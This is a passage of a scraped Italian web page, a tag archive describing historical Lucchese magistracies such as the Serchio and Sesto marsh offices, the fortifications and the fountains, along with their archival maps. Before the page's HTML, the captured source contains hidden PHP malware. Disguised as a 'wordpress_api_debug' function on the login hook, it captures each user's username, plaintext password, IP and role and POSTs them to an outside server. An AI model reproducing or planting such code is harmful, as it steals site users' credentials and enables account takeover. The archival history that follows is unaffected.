'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Giulio Tarchi | Digital DISCI

Archivi tag: Giulio Tarchi

Offizio sopra il Fiume Serchio (1505-1801) (Stato di Lucca)

Ufficialmente istituito nel 1505 – nonostante siano state realizzate opere anche precedentemente alla sua istituzione attinenti alla stessa tematica – l’Offizio cessa le sue attività nel 1801.
Le operazioni di regimazione e di contenimento delle acque del Serchio hanno occupato e preoccupato per molto tempo i vari governanti e amministratori del territorio intorno a Lucca. Le inondazioni e i conseguenti lavori per rinsaldare le campagne e i centri abitati alluvionati si sono succeduti purtroppo con puntuale frequenza e una conseguente inefficienza delle opere di contenimento; a tal proposito nacque il detto di costare quanto il Serchio ai lucchesi.
In origine, la cura e la realizzazione dei lavori necessari alla regimazione del Serchio fu affidata ad un gruppo di persone esperte (Operai) che soprintendevano alle opere; già nello Statuto del Comune di Lucca del 1372 è un capitolo specifico nel quale si incaricavano gli Anziani di monitorare il fiume, prendere decisioni riguardo al suo mantenimento e nominare le persone appropriate a svolgere tali operazioni. Questa impostazione si protrasse per ancora più di un secolo provvedendo soltanto straordinariamente ad istituire “Deputazioni di cittadini addetti a’ ripari”, come “si credesse inutile una continua vigilanza”.
La magistratura che doveva organizzare e tutelare il più importante bacino idrografico dello Stato lucchese venne definitivamente istituita con un decreto datato 21 febbraio 1505, con cui il Consiglio Generale deliberava che fosse formata da tre cittadini che avevano ampia autorità di decisione. Successivamente intervennero altri provvedimenti che ne modificarono la struttura – nel 1538 fu innalzato a sei il numero di cittadini che ne facevano parte – o gli ambiti territoriali d’intervento, ma la sostanza della magistratura rimase la stessa fino alla data fatidica del 1801, momento in cui l’Offizio fu soppresso e nacque il Comitato Generale di Acque e Strade che ne assorbì tutte le attività.
Le ovvie finalità per cui la magistratura fu creata erano la pianificazione della regolamentazione del corso del fiume che, avendo caratteristiche nettamente torrentizie, spesso si andava ad innestare con drammatica veemenza nel precario e incerto piano di scolo di tutta la pianura lucchese. Per far fronte a queste problematiche gli interventi approntati nel corso degli anni furono numerosi, fra cui, assolutamente degni di nota, sono i lavori richiesti nell’ottobre del 1538 in cui si provvide alla regimazione del Serchio all’interno di un solo alveo a sud di Ponte a Moriano; le procedure di riarginatura dello stesso eseguite nel XVIII secolo assieme al posizionamento di alcune “scogliere”, e la costruzione della strada tra il fiume e il monte San Quirico.

Produzione cartografica

Gran parte della produzione che fu elaborata da questa deputazione è stata assorbita in seguito dal Commissariato sulle Acque e Strade, ma un’importante documentazione è ancora presente nel fondo relativo al Serchio, in particolare: Terrilogi per Pasture, in ASLu, Offizio sopra il Serchio, f. 42-44; Mappa del Circondario o Ripartimento del Serchio, autore Gregorio Natalini, in ASLu, Offizio sopra il Serchio, f. 115.

Operatori

Giovanni Attilio Arnolfini (ingegnere, direttore dell’Offizio per numerosi anni, opera nella seconda metà del XVIII secolo); Piero della Lena (pubblico agrimensore, 1559); Eustachio Manfredi (ingegnere, 1671); Giorgio Martinelli (pubblico agrimensore, 1778); Giuseppe Maria Serantoni (metà XVIII secolo); Gregorio Natalini (primi decenni del XVII secolo).

Riferimenti bibliografici e archivistici

Azzari, 1993; Barsanti e Rombai, 1986; Barsanti e Rombai, 1994; Bedini e Fanelli, 1998; Bongi, 1872-1888; Matteucci, 1913. ASLu, Offizio sopra il Serchio.

Giulio Tarchi (Siena)

Offizio sopra i Paduli di Sesto (1560-1801) (Stato di Lucca)

Questa magistratura nasce nel 1560 quando, con nomina del 5 novembre, fu decretata l’istituzione di un Offizio che si occupasse delle trattative con la controparte papale proprietaria di alcuni territori circostanti il Lago di Sesto. Per svolgere tali operazioni, furono eletti tre componenti che furono affiancati anche da un altro Offizio – chiamato dei Diciotto perché formato appunto dai sei membri dell’Offizio sopra le differenze, dai tre dell’Offizio sopra l’Ozzeri e Rogio e da altri nove cittadini – che doveva “dirigere la bonificazione, dar nuovo scolo al Lago ed ai Paduli, e coll’abbassamento acquistare gran tratto di campagna all’agricoltura”.
Terminati i negoziati con la Curia romana, finirono anche le ragioni per il mantenimento della legazione preposta a tali mansioni, ma non quelle affidate all’Offizio dei Diciotto che venne riconfermato vari anni a seguire. Si giunse così al conferimento, con decreto del 13 ottobre 1570, di ogni autorità sopra la regimazione, la bonifica e la manutenzione dei vari canali e dei paduli di Sesto, nelle mani di sei cittadini lucchesi; e tale decisione venne suggellata il 30 gennaio 1590, momento in cui si stabilì definitivamente l’istituzione dell’Offizio sopra i Paduli di Sesto, formato da tre possidenti interessati e da tre non interessati, che aveva appunto come compito la “cura di provvedere ai lavori ordinari e straordinari attorno a’ Paduli ed alle fosse contigue, che si facevano col concorso degli interessati, i quali poi venivano gravati per la maggior parte di spesa”.
Nel corso degli anni la magistratura sopra i Paduli ricevette anche altre commissioni speciali da parte del Consiglio Generale della città, che svolse in alcuni casi assieme a cittadini aggiunti, oppure con l’Offizio sopra le Differenze, o con la Deputazione sopra l’Ozzeri e Rogio o ancora con l’Offizio sopra il Serchio.
Da tale attività si evince come i problemi riguardanti i Paduli di Sesto erano molti e di genere diversificato, in quanto attorno alle rive dei chiari bientinesi si assisteva, oltre alle già citate problematiche di bonifica, anche a dibattute controversie di confini – non solo fra proprietari o fra diverse amministrazioni lucchesi, ma soprattutto fra i possedimenti della Repubblica e del confinante Stato fiorentino – e le più ampie opere di sistemazione idraulica della piana e delle marine.
Come la maggior parte delle istituzioni dello Stato lucchese, anche l’Offizio sopra i Paduli di Sesto nel 1801, al tempo del terzo Governo democratico, venne accorpato, assieme ad altre magistrature che in passato si erano occupate di politiche territoriali. Dapprima, a seguito della legge del 9 gennaio 1801, fu creato il Comitato Generale su cui si accentravano tutte le faccende riguardanti “le acque, fabbriche, strade etc.”, e quindi, dopo molteplici variazioni di denominazione e di pertinenza amministrativa, fu definito il Commissariato sopra le Acque e Strade che ne assorbì tutti i compiti e le autorità.

Produzione cartografica

All’interno di questo fondo sono conservate numerose carte che affrontano i molteplici aspetti per risolvere i quali la deputazione fu appositamente istituita, ovvero le controversie di confine e di giurisdizione, e i vari approcci di sistemazione territoriale che portavano adesso ad una soluzione di bonifica con emissario verso l’Arno, ora con la proposta di passare da nord-ovest per giungere direttamente alla costa della Versilia.
Tale documentazione è conservata all’interno del fondo dell’ASLu, Offizio sopra i Paduli di Sesto, in particolare nelle filze n. 45 e 46 sono contenute varie produzioni cartografiche eseguite fra il XVI e il XVIII secolo, mentre nelle filze n. 58 e 59 vi sono documenti risalenti a partire dal XII secolo fino a tutto il XVI.
Fra queste mappe sono sicuramente da segnalare dettagliatamente alcune di esse:
[Disegno e descrizione del Lago di Sesto], Giovan Battista Boccella, Agostino Pergola e Giuseppe Civitale, 1560 (ASLu, Offizio sopra i Paduli di Sesto, f. 42); Disegno del Lago di Sesto, Simone da Gagliano e Pietro della Lena, 1590 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 1r); Disegno di alcuni beni in Villora di Compito fra il Rogio e la via, Benedetto Samminiati e Agnello Scarpellini, 1590 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 2r); Cartone del lago di Sesto verso Porcari (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 3r); [Linea rossa sui territori a ovest del Lago] (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 4r); [In Paganico per vendere] (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 5r); [Possedimenti del Ducato di Lucca], Giovan Battista Bocella, 1560 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 6r); Cartone dei beni comunali da vendersi nel territorio di Compito, 1562 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 8r); Cartone del Lago di Sesto verso Porcari, Giovanni Massei e Agnello Scarpellini, fine XVI secolo (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 9r); Disegno del Padule di Castelvecchio al Lago di Sesto, 1562 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 10r); [Prati del Diodati con beni], Nicolao Diodati (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 11r); [Possedimenti tra il Rogio e la Fossa Nera], Giovanni Massei e Agnello Scarpellini, dopo 1590 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 13r); Cartone delle terre fatte fare da Nicolao Diodati, Nicolao Diodati, 1674 (ASLu, Offizio sopra i Paduli di Sesto, f. 45, c. 26r); Carta dell’inondazione delle campagne lucchesi e granducali causata dall’ostruzione della Serezza, 1755 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 1r); Territorio […] per l’escrescenza del lago di Sesto […]; Giuseppe Civitali, Augustino Pergola, Giovan Battista Bocella, 1560 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 2r); Mappa del lago di Sesto con l’indicazione dei luoghi adiacenti, Domenico Monti e Antonio Capannetti, 1795 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 3r); Disegno del Lago di Sesto del 1590 fatto e sorto d’accordo da ministri lucchesi e fiorentini, 1590 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 7); Disegno della Serezza, Giuseppe Natalini, 1720 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 8r); Cartone e Relazione del lago di Sesto per le Sei fatto dai bientinesi in quel luogo, Giulio Ambrogio Giannetti, 1727 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 20r); Copia del Disegno del corso della Nuova e Vecchia Serezza con tutte le loro ragioni e pertinenze Corrispondenti alle loro Capitulazioni, Giuseppe Natalini, XVIII secolo (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 21r); [Il canale Rogio presso il campo Brancacci], Simone Diogi e Z.ne Bacchi, 1786 (ASLu, Offizio sopra i Paduli di Sesto, f. 46, c. 22r); Pianura tra Lucca e Porcari, XV secolo (ASLu, Offizio sopra i Paduli di Sesto, f. 59, cc. 4 e 15).

Operatori

Zenone Bacchi (1786); Giovan Battista Bocella (1560); Antonio Capannetti (1795); Giuliano Ciaccheri (1699); Giuseppe Civitale (1560); Nicolao Diodati (1674); Simone Diogi (1786); Simone da Gagliano (1590); Giulio Ambrogio Giannetti (1727); Pietro della Lena (1590); Giovanni Massei (fine XVI secolo); Domenico Merli (perito ingegnere, 1795); Domenico Monti (1795); Joseph/Giuseppe Natalini (1708, perito ingegnere, ricoprì per molti anni la carica di fattore dell’Offitio a partire dal 1717); Augustino Pergola (1560); Alessandro Resta (1579); Sebastiano Roccatagliata (1638); Geminiano Rondelli (1710); Benedetto Samminiati (1590); Agnello Scarpellini (1590); Leonardo Ximenes (1761-1763).

Riferimenti bibliografici e archivistici

Azzari, 2001, pp. 89-106; Azzari, 1993; Barsanti e Rombai, 1994; Bongi, 1872-1888; Caciagli, 1984; Ximenes, 1782; Pierotti, 1981; Zagli, 2001. ASLu, Offizio sopra i Paduli di Sesto.

Giulio Tarchi (Siena)

Istituzioni lucchesi (Stato di Lucca)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Capitoli (inizio secolo XVI)

Beni e Fabbriche Pubbliche (metà secolo XVI-fine secolo XVIII)

Fortificazioni della Città e dello Stato di Lucca (1504-1801)

Offizio sopra le Strade Urbane (1607-1801)

Deputazione sopra le Fontane di Lucca (1732-1789)

La produzione cartografica della Repubblica, e successivamente Ducato di Lucca, copre un lasso di tempo molto ampio, quasi sei secoli, e riguarda settori di applicazione fra i più diversi: come ogni amministrazione statale, infatti, si doveva occupare della progettazione del territorio, con le varie istituzioni che si prendevano cura dell’assetto urbanistico, di quello idrologico, di quello fiscale. Oltre a questi campi di influenza, molti altri ambiti quale la progettazione della rete viaria o delle fortificazioni, o ancora le difficoltose dispute di confine, sono state attività che hanno portato alla nascita di un corposo insieme di elaborati all’interno dei quali una parte predominante era costituita dai dati cartografici che accompagnavano i progetti, le relazioni o le proposte che venivano promosse e attuate dall’amministrazione.
Deputazioni importanti come erano quelle riguardanti i corsi fluviali, le aree lacustri o le marine, con i relativi problemi di bonifica e di regimazione delle acque, oppure quelle rivolte specificatamente verso l’attività catastale, costituiscono dei fondi archivistici che hanno una propria organicità e un’unità d’intenti da essere descritte e analizzata singolarmente, mentre all’interno della più generica produzione cartografica dello Stato lucchese rientrano quei prodotti che furono eseguiti nei tempi più antichi – quando ancora non si era formata una precisa differenziazione nei compiti dei diversi Offizi – oppure quelli afferenti a piccole (sia dal punto di vista temporale, cioè istituite straordinariamente e rinnovate solo per un preciso periodo di anni, sia da quello della finalità, e quindi limitate a risolvere problemi contingenti) cure che portavano all’elezione e alla costituzione di magistrature ad hoc, che hanno portato alla formazione ad un corpus cartografico ben circoscritto.

Capitoli. Il fondo ASLu dei Capitoli rappresenta un insieme di documenti che non si riferiscono a una deputazione specifica che svolgeva un proprio compito all’interno dell’amministrazione lucchese, ma è costituito da atti che furono svolti nel corso degli anni da vari rappresentanti della Repubblica e che sono stati in seguito raccolti – ad esclusione degli originali, conservati invece nel fondo Diplomatico – a parte.
Così la serie dei Capitoli, già a partire dallo statuto del 1308, raccolse le copie e le trascrizioni delle carte che riguardavano i vari privilegi, le concessioni, i trattati, le leghe, le paci e in generale tutte quelle scritture che si riferivano alla giurisdizione dello Stato lucchese. Questo inventario attraversò molte traversie, tra le quali anche l’incendio, che portarono alla perdita di numerosi documenti: “dal 1255 fino al 1355, che v’è anni cento, la terra cambiò molte volte signoria et fu saccheggiata diverse volte, lo Archivio dui volte abrugiò, dipoi non se n’è hauto quella diligentia che sarebe stato di bisogno in salvare le scripture; chè molte note habiamo trovato, che citano diversi libri et scripture publiche, che non se ne trova nessuna”.
Un importante elemento cartografico è costituito dalla produzione presente a lato dei Libri delle Sentenze. Questi documenti furono commissionati dal Consiglio Generale il 9 febbraio 1536 a “Messer Nicolao Liena, maestro Gerardo Seriusti et messer Dino Sardini, in loco del decto maestro Gerardo absente, et Martino Bernardini”, che in poco più di due anni, raccolsero “tutte le carte comprovanti i diritti di Lucca sul territorio che gli era stato soggetto nel tempo della sua maggiore possanza, che fu il principio del XIV secolo”.
La cartografia che accompagna le scritture, i diritti e la cronistoria di ogni singola vicenda, è eseguita con grande maestria pittorica e mai con esattezza geometrica, ma il risultato è senza dubbio ricco di una forte valenza descrittiva che mette in risalto le tecniche prospettiche che erano proprie di una classe di “cartografi” non ancora professionista, ma che fonda le sue radici nelle botteghe artistiche della Lucca del XV e del XVI secolo.

Beni e Fabbriche Pubbliche. Nel fondo dell’Archivio di Lucca così intitolato è raccolto un corpo di scritture di varia origine eseguite fra la metà del XVI secolo e la fine del Settecento. Fra questi documenti si riscontrano contratti di vendita di beni pubblici, carte relative ai lavori di ristrutturazione del Palazzo Pubblico eseguiti dal 1576 al 1595, inventari di mobili, registri di spesa, ma soprattutto dei preziosi martilogi di beni pubblici, che con la relativa cartografia risultano essere dei validissimi strumenti per la ricostruzione dell’assetto urbanistico della città di Lucca.
I martilogi o terrilogi sono dei registri in cui venivano descritti i beni di una proprietà – in questo caso dello Stato lucchese, ma spesso anche di famiglie notabili che facevano eseguire tali rappresentazioni per i propri possedimenti – tramite una breve descrizione degli immobili e un loro disegno che, nel caso dei due pezzi conservati in questo fondo, illustrano con una precisa accuratezza e dovizia di particolari gli aspetti urbani della città tra il 1553 e il 1630 (in una copia del secondo registro vi sono anche degli aggiornamenti che giungono fino al 1790). Entrambi i martilogi (il secondo in due copie), infatti, comprendono delle dettagliate descrizioni dei beni del Comune eseguite da importanti professionisti cartografi, come l’ingegnere e architetto militare Baldassare Lanci – che, proveniente dal Ducato di Urbino, stette al servizio dello stato lucchese dal 1547 fino al 1557 –, Marcantonio Botti e Frediano Puccini, che originariamente erano state ordinate dall’Offizio sopra le Entrate, ma che in seguito sono state collocate nella serie dei Beni e Fabbriche per la tipologia di documenti (nella serie delle Entrate, però, sono conservati altri inventari con descrizioni e raffigurazioni degli stabili pubblici della città compilati nel XVI secolo).

Fortificazioni della Città e dello Stato di Lucca. Questo offizio fu istituito il 7 maggio del 1504 per volere del Consiglio Generale poiché “era generalmente riconosciuto che troppo poco conferissero alla sicurezza della Repubblica la cinta dei muri ed i torrioni della città, edificati due secoli innanzi, quando le artiglierie erano ignote e solamente in parte restaurati e rinforzati nel tempo di mezzo”. I compiti propri di questa deputazione erano quelli di provvedere alla realizzazione di un nuovo sistema di fortificazioni per la città e per altri luoghi strategici situati sul territorio lucchese.
In relazione a ciò, fu prodotto un numero cospicuo di carte che illustrano la progettazione sia delle opere di edilizia difensiva che del più ampio sistema generale di fortificazione: tale sistema non ebbe comunque una genesi e un’attuazione del tutto lineare, ma dovette superare molte controversie che portarono ad una definitiva realizzazione delle difese cittadine soltanto nel 1650.
L’Offizio dal 1654 ebbe fra i suoi compiti anche quello di sovrintendere alla nuova Matricola degli Agrimensori che era stata istituita con decreto del 27 maggio 1651. Nonostante il fondo relativo a questa sorta di corporazione non offra dei documenti cartografici propri, ma solamente dei registri d’esame e atti di segreteria generali, è utile essere a conoscenza del fatto che tale Matricola che imponeva delle sedute periodiche di aggiornamento a tutti gli iscritti e aveva l’obbligo di tenere aggiornati tutti gli strumenti e le unità di misura per la cartografazione, fu richiesta per mettere un po’ di ordine e decretare delle linee guida all’interno dell’ambiente di questi speciali periti. Infatti, fino a quel tempo, in varie occasioni gli agrimensori erano stati accusati di vera e propria frode a vantaggio di una o di un’altra parte, e da tutti si auspicava una regolamentazione della professione perché “ogni persona a suo volere assumeva l’esercizio di agrimensore senza pratica o scienza alcuna”.

Offizio sopra le Strade Urbane. La progettazione e la manutenzione della viabilità urbana di Lucca e della pianura circostante la città (il Distretto, ovvero quel territorio che si apriva in un intorno di “Sei Miglia” dal capoluogo), in passato rientrava nei compiti della Cura del Fondaco che si occupava dell’organizzazione generale del commercio e delle sue attività. Con il passare del tempo e l’aumentare della convinzione che per affrontare determinati problemi fosse necessaria una caratterizzazione e un’indicazione specifica delle pertinenze delle varie magistrature, si giunse dapprima all’istituzione dell’Offizio sopra le Strade delle Sei Miglia nel 1523, che sovrintendeva all’intero territorio del Distretto, e successivamente fu decisa l’istituzione, il 29 agosto del 1607, di un Offizio ordinario sopra le Strade Urbane.
Questa magistratura ordinaria veniva formata annualmente con l’elezione di dodici cittadini da parte del consiglio degli Anziani – con il decreto del 6 marzo del 1626, il numero dei componenti la deputazione fu abbassato a sei – che innanzitutto avevano il compito di provvedere all’esecuzione di nuovi lavori nelle strade della città, in considerazione dello stato di degrado e di insufficienza della viabilità cittadina. Inoltre, fra le mansioni che abitualmente spettavano all’Offizio vi erano quelle di far rispettare le leggi che regolavano il “mantenimento e restauro delle strade, a cui erano tenuti i cittadini possessori delle case o fronteggianti, ma pure di eseguire i lavori nuovi e straordinari che venissero ordinati, e quella parte dei lavori anche ordinari che facevano carico al pubblico, come le piazze, le strade avanti le chiese ec…”.

Deputazione sopra le Fontane di Lucca. Questa deputazione fu richiesta dal Consiglio Generale per sopperire alla deficitaria situazione in cui versava la rete di approvvigionamento idrico della città nel XVIII secolo. Infatti, in passato l’acqua raggiungeva la città da nord, convogliando in vari punti di Lucca parte delle falde del Serchio, ma molte di queste fontane, già alla fine del medioevo, non esistevano più ed erano cadute in disuso. La cittadinanza era costretta quindi ad utilizzare dei pozzi privati che, in varie circostanze, portavano ad una grave carenza dal punto di vista igienico-sanitario. Si giunse verso una risoluzione del problema, pensando di portare “acqua buona e salubre dai colli circostanti” già durante il XVII secolo, ma per vari motivi “non si venne a capo di questo utilissimo lavoro”.
Una risoluzione del Consiglio Generale del 5 settembre 1732 commissionò degli studi al perito Giuseppe Natalini che propose il progetto di un acquedotto che discendeva dalla Badia di Cantignano fino a Lucca. Ma anche tale proposta venne accantonata, finché il 28 agosto 1772 fu nominata una deputazione che presentò nuovi studi eseguiti da Giovanni Attilio Arnolfini – riprendendo delle proposte che erano già state avanzate nel 1763 – in cui si suggeriva di raccogliere le acque dai colli a sud della città, e precisamente costruendo una conduttura ad archi che proveniva di San Quirico di Guamo. Nonostante che la relazione sia stata letta in Consiglio Generale per ben cinque volte – l’ultima delle quali il 22 settembre 1789 – anche nei suoi confronti non fu presa nessuna risoluzione e i lavori di questa deputazione furono sciolti.
Comunque non tutto il lavoro fu vano, dato che nel 1823 l’architetto Lorenzo Nottolini riprese in mano, a sua volta, tali studi e finalmente portò a termine nel 1832 l’importante opera idraulica, facendo erigere “un magnifico acquedotto, costrutto ad archi al modo romano, [che] condusse in Lucca l’acqua di S. Quirico, che veniva poi distribuita in più fonti, con incomparabile beneficio de’ cittadini”.

Produzione cartografica

Capitoli: Gli estremi cronologici riferibili al fondo dei Capitoli della città di Lucca sono molto ampi e in alcuni casi incerti, ma la cartografia presente nei Libri delle Sentenze è databile attorno alla prima metà del XVI secolo (in molti casi prende spunto da mappe precedenti presenti in altri fondi).
I documenti si presentano molto diversificati sia per la tipologia di realizzazione, che per il territorio che viene rappresentato negli stessi. I luoghi maggiormente interessati dalle problematiche che necessitavano operazioni di tale dettaglio descrittivo, come una rappresentazione cartografica, furono soprattutto quei territori che per lunghi secoli si trovarono sul confine fra le varie signorie. Così si hanno molte carte della Garfagnana, della Montagna pistoiese, della Versilia e del Lago di Sesto, ovvero là dove si ebbero i maggiori attriti fra le pretese della città di Lucca, del Ducato di Massa, degli Estensi e dei Medici. Quasi tutta la produzione non presenta mai l’autore e là dove si ha nota, non risulta mai essere un realizzatore professionista, ma un personaggio illustre che si prestava alla descrizione corografica del territorio di volta in volta in questione.
In particolare, sono da ricordare alcune mappe cinquecentesche che insistono su zone ampiamente dibattute e sulle quali vi sono state numerose controversie, come la zona del Lago di Sesto a cui si riferiscono un gran numero di documenti in Capitoli, f. 9, cc. 335-373. In generale, comunque, il materiale raccolto nei Libri delle Sentenze è rintracciabile soprattutto all’interno di Capitoli, filze n. 8, 9 e 10.

Beni e Fabbriche Pubbliche: La produzione cartografica relativa a questa istituzione (comprendente opere realizzate tra la metà del XVI secolo e la fine del XVIII secolo) si presenta soprattutto in veste di terrilogi e di documenti descrittivi delle proprietà e degli stabili dello stato lucchese.
In particolare sono da segnalare: Martilogio Nuovo de’ beni stabili proprii del Mag. Comune di Lucca, Mes. Baldassare, Piero de la Lena e Giuseppe Civitale, 1553 (ASLu, Beni e Fabbriche Pubbliche, 1); Martilogio di tutti li beni stabili attenenti all’Ecc. Consiglio, Frediano Puccini e Marcantonio Botti, 1629-1630 (ASLu, Beni e Fabbriche Pubbliche, 1); Martilogio di beni stabili del Mag. Com. di Lucca, Frediano Puccini, Marcantonio Botti e Gregorio Natalini, 1629-1635 (ASLu, Beni e Fabbriche Pubbliche, 2); Mappe, Bartolomeo Ammannati, 1578 (ASLu, Beni e Fabbriche Pubbliche, 6).

Fortificazioni della Città e dello Stato di Lucca: La produzione cartografica dell’ente inizia dalla fine del XV secolo (con alcuni progetti del 1491) fino alla sua abolizione decretata nel 1801. Gran parte delle mappe presenti nel fondo sono state però prodotte fra il XVI e il XVII secolo.
Numerosa e varia la produzione, con realizzazioni attinenti i progetti riguardanti la localizzazione dei punti strategici fortificati della città di Lucca e di altre località del territorio della Repubblica. In particolare si hanno mappe riguardanti le mura e i baluardi della città, risalenti ai secoli XVI e XVII, in ASLu, Fortificazioni, f. 41-42; mentre per fortificazioni di altri territori (Castiglione, Coreglia, Gallicano, Ghivizzano, Lucchio, Motrone, Viareggio e San Quirico di Valdriana) si possono reperire le rispettive mappe in ASLu, Fortificazioni, f. 43.

Offizio sopra le Strade Urbane: Molto importante risulta essere l’opera di Andrea Bertacchi nella seconda metà del XVIII secolo: in questo fondo in ASLu sono conservate carte che danno la “dimostrazione delle strade di nuovo lastricate e selciate poste nella città di Lucca”, eseguite dal perito, su commissione dell’Offizio sopra le Strade Urbane, fra il 1768 e il 1794.
Sono tre gruppi distinti di mappe:
21 mappe di altrettante strade urbane eseguite dal 1768 fino al 1770 (ASLu, Offizio sopra le Strade Urbane, 5, cc. 1-21);
24 mappe eseguite dal 1771 fino al 1780 (ASLu, Offizio sopra le Strade Urbane, 5, cc. 22-45);
60 mappe eseguite dal 1780 fino al 1794, compresa una pianta del nuovo condotto fognario risalente al 1785 (ASLu, Offizio sopra le Strade Urbane, 5, cc. 46-105).
Inoltre altre grandi mappe sono raccolte all’interno della filza n. 27.

Deputazione sopra le Fontane di Lucca: Tra la documentazione relativa alla progettazione dell’acquedotto (fra il 1732 e il 1789), si segnalano:
Mappa della livellazione dalla Badia di Cantignano fino a Lucca eseguita da Giuseppe Natalini nel 1732 (ASLu, Deputazione sopra le Fontane di Lucca, 1); Pianta e profilo della livellazione da S. Quirico di Guamo fino a Lucca eseguita da Giorgio Martinelli nel 1772 (ASLu, Deputazione sopra le Fontane di Lucca, 1).

Operatori

Capitoli: Messer Nicolao Liena; maestro Gerardo Seriusti; messer Dino Sardini; Martino Bernardini (secolo XVI).

Beni e Fabbriche Pubbliche: Bartolomeo Ammannati (fiorentino, 1577); Mes. Baldassare (perito ingegnere, 1553); Marcantonio Botti (pubblico agrimensore, 1629-1635); Giuseppe Civitale (pubblico agrimensore, 1553); Piero de la Lena (pubblico agrimensore, 1553); Giovan Lorenzo Martinelli (pubblico agrimensore, 1730); Gregorio Natalini (pubblico agrimensore, 1629-1635); Frediano Puccini (pubblico agrimensore 1629-1635).

Fortificazioni della Città e dello Stato di Lucca: Ginese Bresciani (1591); Girolamo Cassar (ingegnere); Matteo Civitali (fine XV secolo); Vincenzo Civitali (1589-1590); M. A. Colonna (ingegnere); Giovan Battista Drusiani (ingegnere); Gherardo del Duca (perito agrimensore, 1648-1651); Giovan Domenico Frediani (perito ingegnere, 1720); Silvestro Gabbrielli (perito agrimensore, 1648-1651); Baldassarre Lanci (1549); Paolo Lipparelli (perito ingegnere, 1648-1651); Francesco di Giorgio Martini (fine XV secolo); Matteo Oddi (1624); Francesco Paciotti; Francesco da Pesaro; Alessandro Resta; Flaminio Samminiati (1579-1596); Iacopo Seghizzi da Modena; Pietro Vagnarelli (1601-1607).

Offizio sopra le Strade Urbane: Andrea Bertacchi (seconda metà del XVIII secolo).

Deputazione sopra le Fontane di Lucca: Giovanni Attilio Arnolfini (ingegnere, 1772); Giorgio Martinelli (ingegnere, 1732); Giuseppe Natalini (ingegnere, 1732); Lorenzo Nottolini (architetto, 1823-1832).

Riferimenti bibliografici e archivistici

Archivio di Stato di Lucca, 1987; Azzari, 2001, p. 89-106; Azzari, 1993; Barsanti, 1987; Barsanti, 1984; Barsanti e Rombai, 1986; Barsanti e Rombai, 1994; Bedini e Fanelli, 1998; Belli, 1953, pp. 161-184; Belli Barsali, 1980; Bertuzzi e Vaccari, 1993, pp. 306-360; Boncompagni e Ulivieri, 2000;
